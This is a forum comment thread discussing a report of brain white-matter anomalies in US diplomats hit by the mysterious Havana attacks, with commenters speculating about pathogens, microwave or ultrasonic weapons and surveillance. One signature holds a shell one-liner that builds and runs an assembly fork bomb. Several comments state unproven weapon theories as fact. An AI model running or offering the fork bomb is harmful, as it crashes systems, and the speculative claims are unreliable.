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Victims of Mystery Attacks In Cuba Left With Anomalies In Brain Tissue (arstechnica.com)
An anonymous reader quotes a report from Ars Technica: American victims of mysterious attacks in Cuba have abnormalities in their brains' white matter, according to new medical testing reported by the Associated Press. But, so far, it's unclear how or if the white-matter anomalies seen in the victims relate to their symptoms. White matter is made up of dense nerve fibers that connect neurons in different areas of the brain, forming networks. It gets its name from the light-colored electrical insulation, myelin, that coats the fibers. Overall, the tissue is essential for rapidly transmitting brain signals critical for learning and cognitive function.
In August, U.S. authorities first acknowledged that American diplomats and their spouses stationed in Havana, Cuba, had been the targets of puzzling attacks for months. The attacks were carried out by unknown agents and for unknown reasons, using a completely baffling weaponry. The attacks were sometimes marked by bizarrely targeted and piercing noises or vibrations, but other times they were completely imperceptible. Victims complained of a range of symptoms, including dizziness, nausea, headaches, balance problems, ringing in the ears (tinnitus), nosebleeds, difficulty concentrating and recalling words, permanent hearing loss, and speech and vision problems. Doctors have also identified mild brain injuries, including swelling and concussion. U.S. officials now report that 24 Americans were injured in the attacks but wouldn't comment on how many showed abnormalities in their white matter.
In August, U.S. authorities first acknowledged that American diplomats and their spouses stationed in Havana, Cuba, had been the targets of puzzling attacks for months. The attacks were carried out by unknown agents and for unknown reasons, using a completely baffling weaponry. The attacks were sometimes marked by bizarrely targeted and piercing noises or vibrations, but other times they were completely imperceptible. Victims complained of a range of symptoms, including dizziness, nausea, headaches, balance problems, ringing in the ears (tinnitus), nosebleeds, difficulty concentrating and recalling words, permanent hearing loss, and speech and vision problems. Doctors have also identified mild brain injuries, including swelling and concussion. U.S. officials now report that 24 Americans were injured in the attacks but wouldn't comment on how many showed abnormalities in their white matter.
Extraordinary claims require extraordinary evidence. There isn't any.
Doesn't a fair number of people with similar and rare brain abnormalities constitute exactly that? I wasn't sure myself if anything was really going on, but this fact makes it seem much more compelling that something real was going on.
Put it the way - why do you have reason to doubt what they are all saying?
"There is more worth loving than we have strength to love." - Brian Jay Stanley
I'm not going to propose that there is no mystery here, but when probing something this mysterious and examining people as intensely as they are likely examining these individuals, I'd want to go with a setup that tests both people who were there and people who weren't. I'd also want to hide the identities from those reading the scans.
No human would be without anomalies if tested intensively enough.
A specific claim like "it was a sonic weapon used by the Russians" might require extraordinary evidence.
But if there's a bunch of people in one place, and then there is credible evidence that they've all got an unusual injury-- isn't it a bit natural to draw the inference that the unusual injury may have been caused by a factor related to that place-- whether deliberate harm, accidental consequences of espionage, or some unknown pathogen, etc.
I read the list of major infectious diseases in Cuba and see several that attack brain/nervous system and some of which can even cause "brain alteration"
could this "attack" be a natural pathogen? It's the first thing that came to my mind reading the mass media hysteria over it, and after looking at all the interesting nasties that are in Cuba....
I have wondered from the first time I read about these embassy attacks if someone was playing with a device that utilizes the "microwave auditory effect" that this wired article was discussing in 2008.
Perhaps they were attempting to project voices into their heads and had some sort of tuning issue that caused it to have a range of other effects.
You seriously think that in less than a year Trump has utter control over an array of army doctors such that they would outright lie to this extent? Come on man. He doesn't even have full control of the state department or pretty much any other department for that matter.
Or what about the notion that Trump could coerce this many doctors to lie about this, and even if that WERE true why would the embassy staff all be sick? Do you claim that the entire staff of the Cuban embassy is making THAT up? I refer you again to my first point re: Trump and the state department - not to mention the actual timeframe in which they got sick was back in 2016 before the election. Was Trump masterfully convincing the entire Cuban embassy staff to claim they were sick at that point? To what end? I mean Scott Adams claims Trump is a master persuader but even so I'm not going to buy into Tump being that clever...
Now I'm not willing to agree it was may not even have been an attack, maybe just some natural cause of the building. But to claim there is nothing going on at all is seriously out of whack even for the paranoid among us (which I count myself in that group). There is obviously something more to the story that is not understood at this point.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
There is a plausible explanation for this mysterious attack. Currently, Microwave guns that are being used for riot-control have their frequencies tuned to be absorbed by the skin, but you can lower the frequency (longer wavelength) to make the microwave penetrate deeper, literally frying the victim's brain. When the microwave cooks the auditory region, the victim hears a phantom sound.
There is no actual recording of the sound. What the AP released is just a synthesized simulation of what it might sound like to a victim under attack.
I once had a signature.
Could be surveillance
https://science.slashdot.org/c...
Used by the Russians to spy on the US embassy - they needed to embed a resonator into a Great Seal of the US which they presented as a gift.
https://en.wikipedia.org/wiki/...
Also used by the UK and US to spy on Russians. Peter Wright worked out how to do it with the sides of filing cabinets, and hence not need to give Trojan Horse gifts
https://www.schneier.com/blog/...
The US is quite justified to say to the Cubans 'It's a small island. It's also a police state. You have a good intelligence service. You probably know who's doing it. Get them to stop. Until then no more diplomats".
All these people mocking the idea are probably the paid Russian trolls I keep getting warned about. Of course the irony is the same people warning me about Russian trolls are the ones mocking this story.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Yeah! And Lou Gehrig died of Lou Gehrig's disease. You'd think he would have seen that coming.
Hello,
CBS News reports that the same type of attack may have occurred on USAID workers in Uzbekistan; https://www.cbsnews.com/news/u...
Regards,
Aryeh Goretsky
Dexter is a good dog.
That would be a bizarre pathogen indeed that can make you hear a sound - which can be and has been recorded - in a specific part of the room, disappearing whenever you move just slightly but reappearing when you pass back through that spot. And which only affects workers of the US embassy in Cuba, having never been recorded to infect anyone else, anywhere else, ever.
There's no question that it's a baffling case, but pathogens don't pass muster. I waver between "another type of EM radiation, for which the sound is just an incidental side effect" and "a multispectral ultrasonic audio signal, for which what is heard (and what does the damage) is harmonics between the channels rather than the carriers". But at this point, who bloody knows.
Pinkypants -- my favorite!
There was zero precedent for people being killed by bullets until the gun was invented and used to shoot people.
In many ways, what is described strongly resembles ultrasound except that ultrasound reflects from density gradients (and thus, for example, the skull). A signal with multiple carriers however sounds like a more interesting possibility, as then you can get harmonics between the two waves at frequencies which are much better transmitted into the body. You'd also get second and third and so forth harmonics, which is exactly the sort of pattern you see in the embassy recording believed to be of the attack.
But that's just a hypothesis.
Pinkypants -- my favorite!